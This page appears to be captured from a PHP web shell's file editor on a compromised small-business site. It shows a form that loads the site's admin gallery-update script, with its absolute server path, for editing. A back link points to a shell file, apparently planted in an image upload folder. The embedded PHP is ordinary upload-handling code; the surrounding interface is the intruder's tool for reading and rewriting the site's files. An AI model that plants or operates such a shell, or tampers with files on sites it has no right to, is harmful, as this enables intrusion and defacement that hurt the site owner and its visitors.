<h2>Edit File - process-update-work.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u788335118/domains/harryautoelectrician.com/public_html/admin/process-update-work.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
session_start();
include(&quot;config.php&quot;); // Include your database connection file

// Check if the request is POST
if ($_SERVER[&#039;REQUEST_METHOD&#039;] !== &#039;POST&#039;) {
    header(&quot;Location: view-work.php&quot;);
    exit();
}

// Validate required fields
if (!isset($_POST[&#039;id&#039;]) || empty($_POST[&#039;id&#039;])) {
    $_SESSION[&#039;error&#039;] = &quot;Invalid request!&quot;;
    header(&quot;Location: view-work.php&quot;);
    exit();
}

$id = intval($_POST[&#039;id&#039;]);

// Get current file information from database
$stmt = $conn-&gt;prepare(&quot;SELECT content FROM gallery WHERE sno = ?&quot;);
$stmt-&gt;bind_param(&quot;i&quot;, $id);
$stmt-&gt;execute();
$result = $stmt-&gt;get_result();
$currentData = $result-&gt;fetch_assoc();
$stmt-&gt;close();

if (!$currentData) {
    $_SESSION[&#039;error&#039;] = &quot;Record not found!&quot;;
    header(&quot;Location: view-work.php&quot;);
    exit();
}

$currentFile = $currentData[&#039;content&#039;];
$updateFile = false;
$newFileName = $currentFile;

// Check if a new file was uploaded
if (isset($_FILES[&#039;content&#039;]) &amp;&amp; $_FILES[&#039;content&#039;][&#039;error&#039;] === UPLOAD_ERR_OK) {
    $file = $_FILES[&#039;content&#039;];
    $updateFile = true;
    
    // File validation
    $allowedExtensions = [&#039;jpg&#039;, &#039;jpeg&#039;, &#039;png&#039;, &#039;gif&#039;, &#039;webp&#039;, &#039;mp4&#039;, &#039;webm&#039;, &#039;ogg&#039;];
    $maxFileSize = 50 * 1024 * 1024; // 50MB
    
    $fileExtension = strtolower(pathinfo($file[&#039;name&#039;], PATHINFO_EXTENSION));
    $fileSize = $file[&#039;size&#039;];
    
    // Validate file type and size
    if (!in_array($fileExtension, $allowedExtensions)) {
        $_SESSION[&#039;error&#039;] = &quot;Invalid file type. Only images (JPG, JPEG, PNG, GIF, WEBP) and videos (MP4, WEBM, OGG) are allowed.&quot;;
        header(&quot;Location: view-work.php&quot;);
        exit();
    }
    
    if ($fileSize &gt; $maxFileSize) {
        $_SESSION[&#039;error&#039;] = &quot;File is too large. Maximum size is 50MB.&quot;;
        header(&quot;Location: view-work.php&quot;);
        exit();
    }
    
    // Generate unique filename
    $newFileName = uniqid() . &#039;.&#039; . $fileExtension;
    $uploadPath = &#039;img/work_gallery/&#039; . $newFileName;
    
    // Move uploaded file
    if (!move_uploaded_file($file[&#039;tmp_name&#039;], $uploadPath)) {
        $_SESSION[&#039;error&#039;] = &quot;Failed to upload file.&quot;;
        header(&quot;Location: view-work.php&quot;);
        exit();
    }
    
    // Delete old file if it exists and is different from new one
    if ($currentFile &amp;&amp; $currentFile !== $newFileName) {
        $oldFilePath = &#039;img/work_gallery/&#039; . $currentFile;
        if (file_exists($oldFilePath)) {
            unlink($oldFilePath);
        }
    }
}

// Update database record
$stmt = $conn-&gt;prepare(&quot;UPDATE gallery SET content = ? WHERE sno = ?&quot;);
$stmt-&gt;bind_param(&quot;si&quot;, $newFileName, $id);

if ($stmt-&gt;execute()) {
    if ($updateFile) {
        $_SESSION[&#039;success&#039;] = &quot;Gallery item updated successfully with new media!&quot;;
    } else {
        $_SESSION[&#039;success&#039;] = &quot;Gallery item details updated!&quot;;
    }
} else {
    // If database update failed, delete the newly uploaded file if one was uploaded
    if ($updateFile &amp;&amp; isset($uploadPath) &amp;&amp; file_exists($uploadPath)) {
        unlink($uploadPath);
    }
    $_SESSION[&#039;error&#039;] = &quot;Failed to update gallery item. Please try again.&quot;;
}

$stmt-&gt;close();
$conn-&gt;close();

header(&quot;Location: view-work.php&quot;);
exit();
?&gt;</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/admin/img/services/696a979a0991c_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>